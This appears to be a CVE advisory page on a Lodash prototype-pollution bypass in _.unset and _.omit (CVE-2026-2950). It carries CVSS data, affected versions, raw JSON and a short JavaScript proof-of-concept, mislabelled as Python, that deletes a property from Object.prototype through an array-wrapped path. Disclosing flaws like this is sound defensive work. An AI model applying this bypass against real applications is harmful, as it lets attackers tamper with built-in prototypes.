Security Vulnerability Report
中文
CVE-2026-2950 CVSS 6.5 MEDIUM

CVE-2026-2950

Published: 2026-03-31 20:16:26
Last Modified: 2026-04-07 16:12:26
Source: ce714d77-add3-4f53-aff5-83d477b104bb

Description

Impact: Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for (CVE-2025-13465: https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype. The issue permits deletion of prototype properties but does not allow overwriting their original behavior. Patches: This issue is patched in 4.18.0. Workarounds: None. Upgrade to the patched version.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:lodash:lodash:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:lodash:lodash-amd:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:lodash:lodash-es:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:lodash:lodash.unset:*:*:*:*:*:node.js:*:* - VULNERABLE
Lodash <= 4.17.23

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const _ = require('lodash'); // 1. Setup: Add a test property to Object.prototype Object.prototype.testKey = 'initial_value'; console.log('[+] Before Exploit: Object.prototype.testKey =', Object.prototype.testKey); // 2. Exploit: Use array-wrapped path to bypass string checks and delete the property // The path ['constructor', 'prototype', 'testKey'] resolves to Object.prototype.testKey var payload = {}; _.unset(payload, ['constructor', 'prototype', 'testKey']); // 3. Verification: Check if the property is deleted from the prototype if (!Object.prototype.hasOwnProperty('testKey')) { console.log('[!] Exploit Successful: Property deleted from Object.prototype'); } else { console.log('[-] Exploit Failed: Property still exists'); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2950", "sourceIdentifier": "ce714d77-add3-4f53-aff5-83d477b104bb", "published": "2026-03-31T20:16:26.207", "lastModified": "2026-04-07T16:12:25.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Impact:\n\nLodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for (CVE-2025-13465: https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.\n\nThe issue permits deletion of prototype properties but does not allow overwriting their original behavior.\n\nPatches:\n\nThis issue is patched in 4.18.0.\n\nWorkarounds:\n\nNone. Upgrade to the patched version."}], "metrics": {"cvssMetricV31": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lodash:lodash:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.17.23", "matchCriteriaId": "0F9E287B-784B-472D-9FA2-1469E4C8A810"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lodash:lodash-amd:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.17.23", "matchCriteriaId": "3A1B5527-B25F-49B8-A289-E964EFFCF4E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lodash:lodash-es:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.17.23", "matchCriteriaId": "4C20325C-6B92-4775-89D7-2650F158B622"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lodash:lodash.unset:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "4.0.0", "matchCriteriaId": "43DC850D-9F26-4445-BAB1-9AF9BA37095C"}]}]}], "references": [{"url": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg", "source": "ce714d77-add3-4f53-aff5-83d477b104bb", "tags": ["Vendor Advisory"]}]}}